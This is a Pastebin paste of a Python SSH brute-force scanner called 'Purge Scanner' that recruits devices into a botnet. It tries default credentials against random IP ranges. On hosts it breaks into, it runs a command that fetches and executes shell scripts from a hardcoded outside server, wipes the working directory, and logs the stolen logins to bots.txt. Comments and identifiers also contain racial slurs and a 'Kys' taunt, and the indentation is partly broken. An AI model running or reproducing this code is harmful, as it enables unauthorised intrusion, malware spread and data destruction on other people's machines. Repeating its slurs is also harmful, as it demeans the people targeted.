miraip0ts

Purge Scanner

Jan 15th, 2017
1,212
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 8.24 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # Modified by @ch3ats
  3. #oo.ooooo.  oooo  oooo  oooo d8b  .oooooooo  .ooooo.  
  4. # 888' `88b `888  `888  `888""8P 888' `88b  d88' `88b
  5. # 888   888  888   888   888     888   888  888ooo888
  6. # 888   888  888   888   888     `88bod8P'  888    .o
  7. # 888bod8P'  `V88V"V8P' d888b    `8oooooo.  `Y8bod8P'
  8. # 888                            d"     YD            
  9. #o888o                           "Y88888P'            
  10. #             ~{purge python scanner}~
  11. #You probably wont see this LOL
  12. #
  13. #But Anyways
  14. #Credits
  15. #Cheats
  16. #Void                                                                                    
  17.          
  18. #DO NOT GIVE YOURSELF CREDITS
  19. # Modified by @ch3ats
  20. # If you Have this Kys please
  21. # Usage: python purge.py THREADS RANGES 1(slow but effective) 2(fast but less effective) HERE IS A EXAMPLE
  22. # Examples Below
  23. #set ulimit
  24. #ulimit -n 999999
  25. # python purge.py 500 NIGGER 1 1
  26. # python purge.py 500 TELNET 1 4
  27. # python purge.py 500 BABY 1 6
  28. # python purge.py 500 SATAN 1 3
  29. # python purge.py 500 B 101.109 1
  30. # RANGES 113.53, 119.93, 122.3, 122.52, 101.108, 180.180, 125.27, 101.109,
  31. #passwords 1, 2,3,4,5,6,7
  32. import threading, paramiko, random, socket, time, sys
  33.  
  34. paramiko.util.log_to_file("/dev/null")
  35.  
  36. blacklist = [
  37.     '127'
  38. ]
  39.  
  40. passwords = [
  41.     "admin:admin"
  42.     "root:root"
  43.     "root:admin"
  44.     "telnet:telnet"
  45.     "guest:guest"
  46.     "admin:admin"
  47.     "admin:1234"
  48.     "pi:raspberry"
  49.     "vagrant:vagrant"
  50.     "ubnt:ubnt"
  51. ]
  52.  
  53.  
  54. if sys.argv[4] == '1':
  55.      passwords = ["root:root"]
  56. if sys.argv[4] == '2':
  57.      passwords = ["guest:guest"]
  58. if sys.argv[4] == '3':
  59.      passwords = ["admin:1234"]
  60. if sys.argv[4] == '4':
  61.      passwords = ["telnet:telnet"]
  62. if sys.argv[4] == '5':
  63.     passwords = ["root:root", "admin:1234"]
  64. if sys.argv[4] == '6':
  65.     passwords = ["root:root", "root:admin"]
  66. if sys.argv[4] == '7':
  67.     passwords = ["root:root", "admin:admin", "root:admin", "admin:1234"]
  68. if sys.argv[4] == '8':
  69.     passwords = ["root:root", "admin:1234", "root:admin", "user:user", "test:test"]
  70. if sys.argv[4] == 'perl':
  71.     passwords = ["pi:raspberry", "vagrant:vagrant", "ubnt:ubnt"]    
  72.    
  73. print "\x1b[1;32m************************************\x1b[1;35m"
  74. print "\x1b[1;32m*       The Purge Has Begun        *\x1b[1;35m"
  75. print "\x1b[1;32m*   There Is No Turning Back Now   *\x1b[1;35m"
  76. print "\x1b[1;32m************************************\x1b[1;35m"
  77.  
  78. ipclassinfo = sys.argv[2]
  79. if ipclassinfo == "A":
  80.     ip1 = sys.argv[3]
  81. elif ipclassinfo == "B":
  82.     ip1 = sys.argv[3].split(".")[0]
  83.     ip2 = sys.argv[3].split(".")[1]
  84. elif ipclassinfo == "C":
  85.     ips = sys.argv[3].split(".")
  86.     num=0
  87.     for ip in ips:
  88.         num=num+1
  89.         if num == 1:
  90.             ip1 = ip
  91.         elif num == 2:
  92.             ip2 = ip
  93.         elif num == 3:
  94.             ip3 = ip
  95. class sshscanner(threading.Thread):
  96.     global passwords
  97.     global ipclassinfo
  98.     if ipclassinfo == "A":
  99.         global ip1
  100.     elif ipclassinfo == "B":
  101.         global ip1
  102.         global ip2
  103.     elif ipclassinfo == "C":
  104.         global ip1
  105.         global ip2
  106.         global ip3
  107.     def run(self):
  108.         while 1:
  109.             try:
  110.                 while 1:
  111.                     thisipisbad='no'
  112.                     if ipclassinfo == "A":
  113.                         self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  114.                     elif ipclassinfo == "B":
  115.                         self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  116.                     elif ipclassinfo == "C":
  117.                         self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  118.                     elif ipclassinfo == "BABY": # password 6
  119.                         br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
  120.                         self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  121.                     elif ipclassinfo == "LRAB": #password 7
  122.                         yeet = ["122","119","161","37","186","187","31","188","201","2","168"]
  123.                         self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  124.                     elif ipclassinfo == "NIGGER": # password 1
  125.                         lucky = ["125.27","101.109","113.53","118.173","46.62","5.78","125.25","125.26","182.52","125.24","180.180"]
  126.                         self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  127.                     elif ipclassinfo == "SATAN": #password 3
  128.                         lucky2 = [ "122.3","122.52","122.54","119.93","124.105","125.104","49.144","49.145","59.69","119.91","119.92","49.146" ]
  129.             self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  130.             elif ipclassinfo == "TELNET": # password 4
  131.                         lucky2 = [ "103.20","103.30","103.47","103.57","12.188","12.34","13.92","14.150","14.162" ]
  132.             self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  133.                     elif ipclassinfo == "RAND":
  134.                         self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  135.                     elif ipclassinfo == "INTERNET":
  136.                         lol = ["1"]
  137.                         self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  138.                     else:
  139.                         self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  140.                     for badip in blacklist:
  141.                         if badip in self.host:
  142.                             thisipisbad='yes'
  143.                     if thisipisbad=='no':
  144.                         break
  145.                 username='root'
  146.                 password=""
  147.                 port = 22
  148.                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  149.                 s.settimeout(3)
  150.                 s.connect((self.host, port))
  151.                 s.close()
  152.                 ssh = paramiko.SSHClient()
  153.                 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  154.                 dobreak=False
  155.                 for passwd in passwords:
  156.                     if ":n/a" in passwd:
  157.                         password=""
  158.                     else:
  159.                         password=passwd.split(":")[1]
  160.                     if "n/a:" in passwd:
  161.                         username=""
  162.                     else:
  163.                         username=passwd.split(":")[0]
  164.                     try:
  165.                         ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  166.                         dobreak=True
  167.                         break
  168.                     except:
  169.                         pass
  170.                     if True == dobreak:
  171.                         break
  172.                 badserver=True
  173.                 stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  174.                 output = stdout.read()
  175.                 if "inet addr" in output:
  176.                     badserver=False
  177.                 if badserver == False:
  178.                         print '\x1b[1;32mFound \x1b[1;31m '+self.host+'~\x1b[1;35m'+username+'~\x1b[1;36m'+password+'~\x1b[1;33m'+str(port)
  179.             ssh.exec_command("cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://198.144.181.15/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 198.144.181.15 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 198.144.181.15; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 198.144.181.15 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *")
  180.             nigger = open("bots.txt", "a").write(username + ":" + password + ":" + self.host + "\n")
  181.                         time.sleep(15)
  182.                         ssh.close()
  183.             except:
  184.                 pass
  185.  
  186. for x in range(0,1500):
  187.     try:
  188.         t = sshscanner()
  189.         t.start()
  190.     except:
  191.         pass
Advertisement
Add Comment
Please, Sign In to add comment